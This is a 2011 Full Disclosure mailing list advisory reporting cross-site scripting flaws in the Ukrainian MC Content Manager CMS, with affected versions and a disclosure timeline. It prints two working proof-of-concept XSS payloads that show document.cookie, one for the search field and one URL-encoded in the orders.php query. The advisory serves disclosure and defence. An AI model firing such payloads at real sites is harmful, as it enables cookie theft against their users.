Full Disclosure mailing list archives
Cross-Site Scripting vulnerabilities in MC Content Manager
From: "MustLive" <mustlive () websecurity com ua>
Date: Sat, 5 Mar 2011 19:11:01 +0200
Hello list! I want to warn you about Cross-Site Scripting vulnerabilities in MC Content Manager. It's Ukrainian commercial CMS. ------------------------- Affected products: ------------------------- Vulnerable are previous versions of MC Content Manager (before version v.10.1.1). ---------- Details: ---------- XSS (WASC-08): POST request at page http://site/ru/cms/search "><script>alert(document.cookie)</script> In search field. XSS (WASC-08): http://site/orders.php?act=search&query=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E ------------ Timeline: ------------ 2010.11.11 - announced at my site. 2010.11.12 - informed developers. 2011.03.04 - disclosed at my site. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/4674/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Cross-Site Scripting vulnerabilities in MC Content Manager MustLive (Mar 05)